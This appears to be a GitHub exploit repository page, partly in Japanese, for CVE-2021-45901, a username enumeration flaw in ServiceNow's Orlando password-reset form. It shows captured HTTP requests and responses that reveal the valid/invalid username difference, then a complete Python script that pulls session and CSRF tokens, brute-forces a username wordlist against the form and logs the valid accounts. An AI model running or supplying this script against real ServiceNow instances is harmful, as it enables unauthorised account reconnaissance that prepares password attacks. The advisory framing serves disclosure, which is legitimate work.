9lyph/cve-2021-45901ServiceNow (CVE-2021-45901) 向け自動ユーザー名列挙エクスプロイト。パスワードリセットフォームを介したHTTP応答の不一致検出を利用します。
enumSNOWUsers.py - SNOW ユーザ列挙ツール
ServiceNow アプリケーションで見つかったユーザ名列挙の脆弱性
公開: バージョン: 1.0
ベンダー: ServiceNow
製品: ServiceNow (https://www.servicenow.com/)
影響を受けるバージョン: Orlando (glide-orlando-12-11-2019__patch5-06-17-2020)
ServiceNow は、カリフォルニア州サンタクララに本社を置くアメリカのソフトウェア企業で、企業がエンタープライズ運用のデジタルワークフローを管理するためのクラウドコンピューティングプラットフォームを開発しています。
ユーザ名列挙 (認証なし)
CVE: CVE-2021-45901
CWE: CWE-200: 機密情報の不正なアクターへの漏洩
ServiceNow (Orlando) で発見された脆弱性により、ワードリストを用いたユーザ名列挙が可能になります。認証されていないセッションを使用し、パスワードリセットフォームにアクセスすることで、有効なユーザ名を推測できます。これは、パスワードリセットのWebフォームによって最初にトリガーされる HTTP POST 応答データを調査することで達成されます。この応答はユーザ名の存在有無によって異なります。
注記: このプロセスを自動化するには、有効なセッションCookie (JSESSIONID)、CSRFトークン (pwd_csrf_token)、および X-UserToken (X-UserToken) が必要です。これらのオブジェクトはすべてクライアントサイドコードから取得可能です。
CWE-203: 観測可能な不一致
以下は、有効なユーザ名と無効なユーザ名を推測するために使用される HTTP 応答 POST データ内の観測可能な不一致を示しています。
Request
POST /$pwd_reset.do?sysparm_url=ss_default HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded; charset=UTF-8
X-UserToken: <UserToken>
Content-Length: 421
Origin: https://<IP>/
Connection: keep-alive
Cookie: glide_user_route=glide.da<redacted>; JSESSIONID=<redacted>;__CJ_g_startTime='<time>'
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sysparm_processor=PwdAjaxVerifyIdentity&sysparm_scope=global&sysparm_want_session_messages=true&sysparm_name=verifyIdentity&sysparm_process_id=<redacted>&sysparm_processor_id_0=<redacted>&sysparm_user_id_0=admin&sysparm_identification_number=1&sysparm_pwd_csrf_token=<redacted>&ni.nolog.x_referer=ignore&x_referer=%24pwd_reset.do%3Fsysparm_url%3Dss_default
Response (Valid Username)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: f7ca428075d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1227
X-TRANSACTION-TIME: 0:00:01.227
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 05:59:41 GMT
Server: <redacted>
<?xml version="1.0" encoding="UTF-8"?>
<xml answer="200" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
<security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>
Response (Invalid Username)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: 0b83260c75d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1076
X-TRANSACTION-TIME: 0:00:01.076
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 06:10:41 GMT
Server: <redacted>
<?xml version="1.0" encoding="UTF-8"?>
<xml answer="500" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
<security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>
「Rome」へのアップグレード
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# User enumeration script SNOW
# Requires valid
1. JSESSION (anonymous)
2. X-UserToken
3. CSRF Token
import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def banner():
print ("[+]********************************************************************************[+]")
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| Decription: SNOW Username Enumerator |")
print ("| Usage : "+sys.argv[0]+" |")
print ("| Prequisite: \'users.txt\' needs to contain list of users |")
print ("[+]********************************************************************************[+]")
def main():
os.system('clear')
banner()
proxies = {
"http":"http://127.0.0.1:8080/",
"https":"http://127.0.0.1:8080/"
}
url = "http://<redacted>/"
try:
# s = requests.Session()
# s.verify = False
r = requests.get(url, timeout=10, verify=False, proxies=proxies)
JSESSIONID = r.cookies["JSESSIONID"]
glide_user_route = r.cookies["glide_user_route"]
startTime = (str(time.time_ns()))
# print (startTime[:-6])
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
with open ("users.txt", "r") as f:
usernames = f.readlines()
print (f"[+] Brute forcing ....")
for users in usernames:
url = "http://<redacted>/$pwd_reset.do?sysparm_url=ss_default"
headers1 = {
"Host": "<redacted>",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Cookie": "glide_user_route="+glide_user_route+"; JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime[:-6]+"\'"
}
try:
# s = requests.Session()
# s.verify = False
r = requests.get(url, headers=headers1, timeout=20, verify=False, proxies=proxies)
obj1 = re.findall(r"pwd_csrf_token", r.text)
obj2 = re.findall(r"fireAll\(\"ck_updated\"", r.text)
tokenIndex = (r.text.index(obj1[0]))
startTime2 = (str(time.time_ns()))
# userTokenIndex = (r.text.index(obj2[0]))
# userToken = (r.text[userTokenIndex+23 : userTokenIndex+95])
token = (r.text[tokenIndex+45:tokenIndex+73])
url = "http://<redacted>/xmlhttp.do"
headers2 = {
"Host": "<redacted>",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://<redacted>/$pwd_reset.do?sysparm_url=ss default",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Content-Length": "786",
"Origin": "http://<redacted>/",
"Connection": "keep-alive",
# "X-UserToken":""+userToken+"",
"Cookie": "glide_user_route="+glide_user_route+";JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime2[:-6]+"\'"
}
data = {
"sysparm_processor": "PwdAjaxVerifyIdentity",
"sysparm_scope": "global",
"sysparm_want_session_messages": "true",
"sysparm_name":"verifyIdentity",
"sysparm_process_id":"c6b0c20667100200a5a0f3b457415ad5",
"sysparm_processor_id_0":"fb9b36b3bf220100710071a7bf07390b",
"sysparm_user_id_0":""+users.strip()+"",
"sysparm_identification_number":"1",
"sysparam_pwd_csrf_token":""+token+"",
"ni.nolog.x_referer":"ignore",
"x_referer":"$pwd_reset.do?sysparm_url=ss_default"
}
payload_str = urllib.parse.urlencode(data, safe=":+")
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
try:
# s = requests.Session()
# s.verify = False
time.sleep(2)
r = requests.post(url, headers=headers2, data=payload_str, timeout=20, verify=False, proxies=proxies)
if "500" in r.text:
print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
elif "200" in r.text:
print (Fore.GREEN + f"[+] Valid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.GREEN + f"[+] Valid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
else:
print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
except KeyboardInterrupt:
sys.exit()
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except Exception as e:
print (Fore.RED + f"Unable to connect to host" + Style.RESET_ALL)
if __name__ == "__main__":
main ()
Victor Hanna (Exploit Security)